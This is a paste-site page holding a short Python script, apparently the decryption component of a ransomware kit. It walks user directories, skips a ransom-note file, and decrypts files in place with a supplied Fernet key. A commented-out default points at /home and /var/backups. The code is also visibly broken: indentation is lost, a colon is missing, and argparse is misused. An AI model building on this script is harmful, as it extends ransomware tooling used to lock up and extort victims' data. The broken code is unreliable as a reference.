Untitled
unknown
plain_text
3 years ago
1.3 kB
6
Indexable
import os
from cryptography.fernet import Fernet
import argparse
msgfName = 'READTHISTOGETBACKYOURDATA.txt'
def discoverFiles(path):
for dirpath, dirs, files in os.walk(path):
for i in files:
if i in [msgfName]:
continue
absolute_path = os.path.abspath(os.path.join(dirpath, i))
if absolute_path is not __file__:
yield absolute_path
def decryptFile(filepath, key):
with open(filepath, 'rb') as file:
contents = file.read()
decrypted_contents = Fernet(key).decrypt(contents)
with open(filepath, 'wb') as file:
file.write(decrypted_contents)
def decrypt(paths, key)
for currentDir in paths:
for file in discoverFiles(currentDir):
print("Decrypting:", file)
decryptFile(file, key)
print("Files Decrypted")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("key", "specify key for decryption")
args = parser.parse_args()
#defaultStarts = ['/home', '/var/backups']
defaultStarts = ['/home/tintin/Documents/test']
if args.key is None:
print("[ERROR] 'key' option is required for decryption")
else:
decrypt(defaultStarts, args.key)
print("Congrats! All your files have been decrypted using the provided key.")
if __name__ == '__main__':
main()
Editor is loading...